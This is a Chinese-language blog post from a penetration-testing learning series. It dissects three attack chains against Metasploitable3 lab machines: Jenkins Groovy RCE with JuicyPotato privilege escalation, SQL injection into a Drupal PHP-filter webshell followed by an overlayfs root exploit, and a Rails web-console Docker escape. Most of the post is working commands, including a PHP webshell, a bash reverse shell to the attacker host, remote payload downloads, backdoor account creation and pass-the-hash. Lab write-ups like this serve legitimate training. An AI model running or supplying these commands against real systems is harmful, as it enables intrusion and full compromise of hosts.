iT邦幫忙

2026 iThome 鐵人賽

DAY 23
0
Claude AI

打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記系列 第 23 篇

M3 攻擊實錄(二):三條攻擊鏈深度拆解

  • 分享至 

  • xImage
  •  

上一篇我們用速覽的方式記錄了 13 個成功攻破的漏洞點。但滲透測試不是「打穿了就結束」——真正的學習在於理解為什麼能打穿、每一步的原理是什麼、防禦者該怎麼擋。

這篇從 13 個入口點中挑出三條最有教學價值的攻擊鏈,做完整的深度拆解:

  1. Jenkins + JuicyPotato(Windows 提權)——學 Windows Token 特權提權
  2. MySQL → Drupal PHP Filter(跨服務攻擊鏈)——學多步驟攻擊鏈思維
  3. Rails Web Console + Docker Group(Linux 提權)——學容器逃逸提權

每條攻擊鏈都會拆解:漏洞原理、每一步在做什麼、為什麼這步能成功、防禦者該怎麼防。

攻擊鏈 1:Jenkins Script Console + JuicyPotato

平台:Windows Server 2008 R2
入口:Port 8484(Jenkins)
最終權限:Administrators
核心技術:Groovy RCE + Windows Token 特權提權

1.1 漏洞原理
Jenkins Script Console 是什麼?

Jenkins 的架構:

  ┌──────────────────────────────────────────┐
  │ Jenkins Web UI (port 8484)               │
  │                                          │
  │  /           → 首頁/儀表板              │
  │  /job/       → CI/CD 任務管理           │
  │  /configure  → 系統設定                 │
  │  /script     → Script Console ← 這裡!  │
  │  /manage     → 管理介面                 │
  └──────────────────────────────────────────┘

  Script Console 的設計目的:
    → 讓管理員用 Groovy 腳本管理 Jenkins
    → 可以執行任意程式碼
    → 等同於「以 Jenkins 服務帳號身份執行任意指令」

  漏洞不在 Script Console 本身
  而在:它不需要認證就能存取

1.2 攻擊過程深度拆解
Step 1:確認未授權存取

curl -s -o /dev/null -w "%{http_code}" http://192.168.145.146:8484/script
# → 200 = 無需認證可存取
# → 403 = 需要登入(這時候要試預設帳密或爆破)

https://ithelp.ithome.com.tw/upload/images/20260929/20183639ZToNvBwRLy.png

Step 2:Groovy 偵察(http://[ip]:8484/script)

// 在 Script Console 輸入:

// 確認執行身份
println "whoami".execute().text
// → nt authority\local service

// 確認權限(關鍵!)
println "whoami /priv".execute().text
// → SeImpersonatePrivilege    Enabled  ← 這就是提權的鑰匙
// → SeAssignPrimaryTokenPrivilege  Enabled

https://ithelp.ithome.com.tw/upload/images/20260929/20183639mVHU5KovG8.png
https://ithelp.ithome.com.tw/upload/images/20260929/201836391bxkpkwiQ6.png

Step 3:下載 JuicyPotato

//先在kali的tmp路徑下載jp.exe
wget -O /tmp/jp.exe https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe

//確認是否有檔案
ls -la /tmp/jp.exe

//掛載
cd /tmp && python3 -m http.server 8888

// Groovy 的 Java API 下載檔案
def file = new File("C:/Users/Public/jp.exe")
file.bytes = new URL("http://192.168.145.144:8888/jp.exe").bytes
file.exists()
// → true

https://ithelp.ithome.com.tw/upload/images/20260929/201836391OFCEypiMx.png
https://ithelp.ithome.com.tw/upload/images/20260929/20183639iNWCnnU0Q8.png

為什麼不用 certutil?

嘗試過的下載方法:

  方法 1:certutil(失敗 ✗)
    certutil -urlcache -f http://攻擊機/jp.exe C:\Windows\Temp\jp.exe
    → Access is denied (0x80070005)
    → 原因:LOCAL SERVICE 沒有 C:\Windows\Temp 的寫入權限

  方法 2:certutil 改路徑(仍然失敗 ✗)
    → certutil 本身在 LOCAL SERVICE 下行為異常

  方法 3:Groovy Java API(成功 ✓)
    → Java 的 File/URL API 不受 certutil 的限制
    → 寫到 C:\Users\Public\(所有使用者可寫)

  教訓:
    → 一個方法不行就換另一個
    → 滲透測試中你永遠需要 Plan B
    → 了解 Windows 各目錄的權限差異很重要

Step 4:JuicyPotato 提權

//新增帳號
println "cmd /c C:\\Users\\Public\\jp.exe -l 9999 -p C:\\Windows\\System32\\cmd.exe -a \"/c net user hacker hacker123! /add\" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}".execute().text
//加入 Administrators
println "cmd /c C:\\Users\\Public\\jp.exe -l 9999 -p C:\\Windows\\System32\\cmd.exe -a \"/c net localgroup administrators hacker /add\" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}".execute().text
//確認帳號存在
println "cmd /c net user hacker".execute().text

https://ithelp.ithome.com.tw/upload/images/20260929/20183639dmRDsktFU8.pnghttps://ithelp.ithome.com.tw/upload/images/20260929/201836398GM46MdQWf.png
https://ithelp.ithome.com.tw/upload/images/20260929/20183639RjYsnDQxgV.png

kali登入

# 用新建立的帳號(hacker 帳號的目的只是證明提權成功,能建帳號就夠了,不一定要用它登入。)
evil-winrm -i 192.168.145.146 -u hacker -p hacker123!

# 或用 Pass-the-Hash(不需要知道明文密碼)
evil-winrm -i 192.168.145.146 -u vagrant -H e02bc503339d51f71d913c245d35b50b

https://ithelp.ithome.com.tw/upload/images/20260930/20183639HMELh521OX.pnghttps://ithelp.ithome.com.tw/upload/images/20260930/2018363940eCbDgOa1.png


攻擊鏈 2:MySQL → Drupal PHP Filter
2.1 漏洞原理
這條攻擊鏈最特別的地方是:沒有任何一步用到「漏洞」。每一步用的都是正常功能,只是被串在一起就變成了攻擊。

平台:Ubuntu 14.04
入口:Port 80(payroll_app.php → MySQL → Drupal)
最終權限:root
核心技術:硬編碼密碼 +  Drupal CMS 後台利用
SQLi → dump hash → drush 改密碼 → Drupal PHP Filter
→ webshell → www-data → overlayfs → root
//SQLi 繞過成功,登入身份是 ' OR '1'='1,薪資表是空的(沒有員工資料)。
//這步的意義是確認 user 欄位有 SQL Injection,為後續 sqlmap 撈 Drupal hash 做鋪墊
 curl -s -X POST http://192.168.145.145/payroll_app.php \
  --data "user=' OR '1'='1&password=anything&s=OK"
  
//sqlmap 撈 Drupal 帳號 hash
sqlmap -u "http://192.168.145.145/payroll_app.php" \
  --data="user=admin&password=admin&s=OK" \
  -D drupal -T users -C uid,name,pass --dump --batch

//安裝 drush
sudo apt-get install drush -y

//drush 重置 Drupal 密碼(-r 指定路徑)
sudo drush -r /var/www/html/drupal user-password metasploitable --password="admin123"
//登入 http://192.168.145.145/drupal(metasploitable / admin123)
//Modules → PHP filter → 啟用 → Save
//建立 webshell 頁面
//Add content → Basic page
//Body:<?php system($_GET['cmd']); ?>
//Text format:PHP code
//建立後是 node/3
curl "http://192.168.145.145/drupal/?q=node/3&cmd=id"
//會顯示一大堆URL編碼
//這時候加grep進行篩選
curl -s "http://192.168.145.145/drupal/?q=node/3&cmd=id" | grep -oP 'uid=.*'
//# → uid=33(www-data)
//Kali監聽
nc -lvnp 4444

//觸發反彈 shell(開另一個命令視窗)
curl -s "http://192.168.145.145/drupal/?q=node/3&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.145.144/4444+0>%261'"
// Kali 提供 exploit
cp /usr/share/exploitdb/exploits/linux/local/37292.c /tmp/ofs.c
python3 -m http.server 8888

# www-data shell
wget http://192.168.145.144:8888/ofs.c -O /tmp/ofs.c
gcc /tmp/ofs.c -o /tmp/ofs
/tmp/ofs
# → uid=0(root)

https://ithelp.ithome.com.tw/upload/images/20261001/20183639VwlNEjXn8h.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639jgSm8hsBI6.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639TKVjE7bELs.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639I6glhwd07r.png
https://ithelp.ithome.com.tw/upload/images/20261001/201836395DkdXuNA1W.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639nN7HuvNP5U.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639yTAduVWgO4.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639GTFC0ls2VO.pnghttps://ithelp.ithome.com.tw/upload/images/20261001/20183639SRKH51UEkE.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639p3HoXo430U.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639x2KBImUpnJ.pnghttps://ithelp.ithome.com.tw/upload/images/20261001/20183639LO65xCFmTk.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639qXSKQ6ydgV.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639oRBWI5sZlE.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639OvjD1O7qoT.png

  • sqlmap 的 UNION-based SQLi 只能讀不能寫,UPDATE 無效,需 SSH 進去改密碼
  • PHP 單獨 require password.inc 會缺少 Drupal bootstrap,需用 drush
  • Drupal URL 格式是 ?q=node/3 不是直接 /node/3
  • webshell curl 輸出要加 grep -oP 'uid=.*' 才不會淹沒在 HTML 裡

攻擊鏈 3:Rails Web Console + Docker Group Escape
原理

chewbacca(docker group)
    ↓
docker run → 和 /var/run/docker.sock 溝通
    ↓
Docker daemon 以 root 執行
    ↓
-v /:/mnt → 把主機根目錄掛進 container
    ↓
chroot /mnt → 在掛載的主機環境裡操作
    ↓
container 內是 root → 等同主機 root

完整攻擊路徑

nmap 發現 port 3500(Rails 開發模式)
    ↓
curl 確認 web-console 存在
    ↓
SSH 進目標(vagrant:vagrant)→ 繞過 127.0.0.1 白名單
    ↓
curl GET /foobar → 取得 session ID + cookie
    ↓
curl PUT /__web_console/repl_sessions/$SESSION
    input=`id` → chewbacca(docker group)
    ↓
input=`docker run -v /:/mnt --rm alpine chroot /mnt id`
    ↓
uid=0(root) ✓
//確認 port 3500 服務
nmap -sV -p 3500 192.168.145.145
//確認 Web Console 存在(找到 web-console 字樣代表有掛載,但直接從外部打:)
curl -s http://192.168.145.145:3500/foobar | grep -i "web-console"
//SSH 進目標機器
ssh vagrant@192.168.145.145
//密碼:vagrant
//取得 Web Console Session ID
curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'"

//透過 API 執行 Ruby 指令
SESSION=$(curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'") && curl -s -b /tmp/c.txt -X PUT "http://127.0.0.1:3500/__web_console/repl_sessions/$SESSION" -H "X-Requested-With: XMLHttpRequest" -H "Accept: application/vnd.web-console.v2" --data-urlencode 'input=`id`'

//Docker Group Escape → Root
SESSION=$(curl -s http://127.0.0.1:3500/foobar -c /tmp/c.txt | grep -i "data-session-id" | grep -o "'[^']*'" | head -1 | tr -d "'") && curl -s -b /tmp/c.txt -X PUT "http://127.0.0.1:3500/__web_console/repl_sessions/$SESSION" -H "X-Requested-With: XMLHttpRequest" -H "Accept: application/vnd.web-console.v2" --data-urlencode 'input=`docker run -v /:/mnt --rm alpine chroot /mnt id`'

https://ithelp.ithome.com.tw/upload/images/20261001/20183639zMvUwZ4qf5.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639M88v3ZbmPY.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639b8NFfoIhAf.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639vbafKyrymw.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639SuAqpI6dM8.png
https://ithelp.ithome.com.tw/upload/images/20261001/20183639i5N6H6dIr3.png


三條攻擊鏈的雷點

攻擊鏈 1:Jenkins → JuicyPotato(Windows)

  • Groovy 語法不是 shell,不能用 backtick,要用 .execute().text
  • JuicyPotato 要自己下載,Kali 沒有內建
  • CLSID 要對應 Windows 版本,換機器就要換
  • 自己新增的帳號走 WinRM 會被 UAC 擋,要額外設 LocalAccountTokenFilterPolicy
    攻擊鏈 2:payroll SQLi → Drupal → overlayfs(Ubuntu)
  • sqlmap UNION-based SQLi 唯讀,無法 UPDATE,要 SSH 進去直接下 MySQL 指令
  • Drupal 7 密碼是 phpass 格式,不能塞 MD5,要用 drush 產生
  • drush 要加 -r 指定 Drupal 路徑,否則報 bootstrap 錯誤
  • Drupal 7 URL 格式是 ?q=node/X,不是 /node/X
    攻擊鏈 3:Rails Web Console → Docker Escape(Ubuntu)
  • Web Console 限 127.0.0.1,要 SSH 進目標再從內部存取
  • HTML 裡 session ID 是單引號,grep pattern 要配合
  • GET 和 PUT 要串成一行,否則 session 過期
  • 資料格式要用 form(--data-urlencode),用 JSON 會讓 Rails 收到 nil
  • 三個 header 缺一不可:Accept 版本、X-Requested-With、cookie
  • bash 雙引號會直接執行 backtick,送 Ruby 指令要用單引號包住


上一篇
M3 攻擊實錄(一):已成功攻破的漏洞點
系列文
打靶機 30 天:從 Metasploitable2 到 3 的滲透測試學習筆記 共 23 篇
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言